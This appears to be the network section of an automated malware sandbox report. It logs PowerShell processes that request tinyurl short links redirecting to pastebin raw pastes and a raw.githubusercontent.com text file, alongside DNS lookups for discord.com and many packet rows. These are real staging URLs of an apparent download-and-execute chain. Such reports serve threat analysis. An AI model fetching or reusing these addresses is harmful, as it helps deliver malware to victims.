Sep 16, 2024 08:24:01.859069109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859069109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859069109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859069109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859069109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859091997 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859114885 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859134912 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859155893 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859178066 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859203100 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859224081 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859250069 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859281063 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859301090 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859342098 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859345913 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859347105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859354973 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859383106 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859414101 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859441042 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859471083 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859500885 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859524012 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859549999 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859582901 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859625101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859649897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859736919 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859760046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859785080 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859813929 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859849930 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859860897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859884977 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859884977 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859884977 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859884977 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859885931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859885931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859885931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859885931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859930992 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.859930992 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.975403070 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.975459099 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:02.071415901 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:02.074197054 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:02.399401903 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:02.399466038 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:02.491447926 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:02.491544962 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:02.495403051 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:02.495584011 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:02.587445021 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:02.587523937 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.231399059 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.231445074 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.327400923 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.327476978 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.441198111 CEST	49780	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:03.441277981 CEST	443	49780	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:03.441514969 CEST	49780	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:03.490660906 CEST	49780	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:03.490712881 CEST	443	49780	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:03.490807056 CEST	443	49780	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:03.585530043 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.585549116 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585562944 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585572004 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585592031 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.585597038 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585658073 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.585663080 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585671902 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585742950 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.585746050 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585752964 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585767984 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.585783958 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.585884094 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.651613951 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.651675940 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.651712894 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.651741982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.651781082 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.651782036 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.651803017 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.651853085 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.651853085 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.651868105 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.651913881 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.795402050 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.795531034 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.859417915 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.859487057 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.985896111 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.985924006 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.985949993 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.985991001 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986026049 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986026049 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986041069 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986067057 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986104012 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986136913 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986161947 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986186981 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986196995 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986248970 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986248970 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986264944 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986304045 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986330032 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986340046 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986392021 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986409903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:03.986452103 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:03.986473083 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.039221048 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.039282084 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.039315939 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.039350033 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.039417982 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.039433002 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.039490938 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.052952051 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.052979946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.052998066 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053042889 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.053051949 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053065062 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053118944 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.053128004 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053143024 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053158998 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.053164005 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053169012 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053183079 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.053188086 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053212881 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053236008 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.053244114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053256989 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053278923 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053284883 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:04.053291082 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053297997 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:04.053323984 CEST	443	49734	185.199.109.133	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 16, 2024 08:22:15.911967993 CEST	192.168.2.5	1.1.1.1	0x6753	Standard query (0)	tinyurl.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:16.628528118 CEST	192.168.2.5	1.1.1.1	0xfcd4	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:17.981476068 CEST	192.168.2.5	1.1.1.1	0xbaca	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:26.849802017 CEST	192.168.2.5	1.1.1.1	0x48d6	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:23:04.775486946 CEST	192.168.2.5	1.1.1.1	0x7fb1	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 16, 2024 08:22:15.930808067 CEST	1.1.1.1	192.168.2.5	0x6753	No error (0)	tinyurl.com	104.18.111.161	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:15.930808067 CEST	1.1.1.1	192.168.2.5	0x6753	No error (0)	tinyurl.com	104.17.112.233	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:16.636931896 CEST	1.1.1.1	192.168.2.5	0xfcd4	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:16.636931896 CEST	1.1.1.1	192.168.2.5	0xfcd4	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:16.636931896 CEST	1.1.1.1	192.168.2.5	0xfcd4	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:17.988255978 CEST	1.1.1.1	192.168.2.5	0xbaca	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:17.988255978 CEST	1.1.1.1	192.168.2.5	0xbaca	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:17.988255978 CEST	1.1.1.1	192.168.2.5	0xbaca	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:17.988255978 CEST	1.1.1.1	192.168.2.5	0xbaca	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:26.856705904 CEST	1.1.1.1	192.168.2.5	0x48d6	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:26.856705904 CEST	1.1.1.1	192.168.2.5	0x48d6	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:26.856705904 CEST	1.1.1.1	192.168.2.5	0x48d6	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:26.856705904 CEST	1.1.1.1	192.168.2.5	0x48d6	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:22:26.856705904 CEST	1.1.1.1	192.168.2.5	0x48d6	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:23:04.782340050 CEST	1.1.1.1	192.168.2.5	0x7fb1	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:23:04.782340050 CEST	1.1.1.1	192.168.2.5	0x7fb1	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 08:23:04.782340050 CEST	1.1.1.1	192.168.2.5	0x7fb1	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.18.111.161	80	4524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:15.962363958 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 08:22:16.565622091 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IlVWbE8yS1duREx1elRoT20zMXcxbFE9PSIsInZhbHVlIjoiRXlUcVpSNzZPQ3ZkZThVY2JQTEwyUEZaUFlpWGo2YmF0TkMzM1FiRkQvM01Jc0ZFTldSaExRdnBiQXFGQU8xaCtpNjNRUThEd1F6bC9wT2F6aStqb2c9PSIsIm1hYyI6IjMwYjhlYmRiZGNhOGU4NGFmYjZiZWU4NDJlMjU5ZmJmZDFhNTZjYjY2NjNlNTNiZDk0MDk3MzgxNjI0Mzk5Y2UiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=Tx4ffJsGUEvVgjk0qZwcjGxAOImY09mwmBFdZp2YgnM-1726467736-1.0.1.1-ng_tCsmFxr938Q2aIUvmS.Ng6h4z_nXLw5U9yBO6O9aNPJ9tPI.Qdc2rpdh2DKTFwd5qRZbmDH6fmT5SCt2Ypg; path=/; expires=Mon, 16-Sep-24 06:52:16 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2d84a2fc413-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pastebin.com/
Sep 16, 2024 08:22:16.565654993 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:16.566507101 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:17.870709896 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 08:22:17.991894960 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IjI2WGxnajM5b3JXSThBdDQ1ck1EMmc9PSIsInZhbHVlIjoiWmdWZVlVS3A5bWxZeEFXT2JwSnVEc2MzQVNuMTJKMFNuSmUrMm5GTlZjRGpMdGJpelB3cDJZR0xLbysxUER5ZjRKZmQ5c0dMUStXL0dkb2VoNm1ZNWc9PSIsIm1hYyI6IjE1YWIyMzhlYzgyYTljMWFkY2E3MDI1YjczMDRjNWFhMmM5ZDc4Y2I4M2VmY2Q0M2RiNWI1ZWQ2MzhkY2E5YzgiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=HBzFl_cg7z9FtbHM68udQH1F620qoMl1LIrqtoHpEsQ-1726467737-1.0.1.1-yJlbL7gz4mMJSJ6KdeVhiSMcgDKo_jQShHePNgUbHhlHIiUi3rt17h81S4Qh5ErfyvUGCQdeXQ5lXM8KCSSMBQ; path=/; expires=Mon, 16-Sep-24 06:52:17 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2e20fd3c413-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 08:22:17.991914034 CEST	511	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49704	104.18.111.161	80	5852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:15.962502003 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 08:22:16.565520048 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IlVWbE8yS1duREx1elRoT20zMXcxbFE9PSIsInZhbHVlIjoiRXlUcVpSNzZPQ3ZkZThVY2JQTEwyUEZaUFlpWGo2YmF0TkMzM1FiRkQvM01Jc0ZFTldSaExRdnBiQXFGQU8xaCtpNjNRUThEd1F6bC9wT2F6aStqb2c9PSIsIm1hYyI6IjMwYjhlYmRiZGNhOGU4NGFmYjZiZWU4NDJlMjU5ZmJmZDFhNTZjYjY2NjNlNTNiZDk0MDk3MzgxNjI0Mzk5Y2UiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=rH0P5u6EJb_ndxK.Uc07f9J2Od.zfowWCnNq2CpQSXg-1726467736-1.0.1.1-CuI3BpVRsj0_Aw6JcbDLBw7iok6zfn9ShSJw1OX2KUHoA_a9M07LAp4_IZB.ULLfrfUuHoeRHUa0Lzh2TIpcdw; path=/; expires=Mon, 16-Sep-24 06:52:16 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2d83a7b1998-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pastebin.com/
Sep 16, 2024 08:22:16.565566063 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
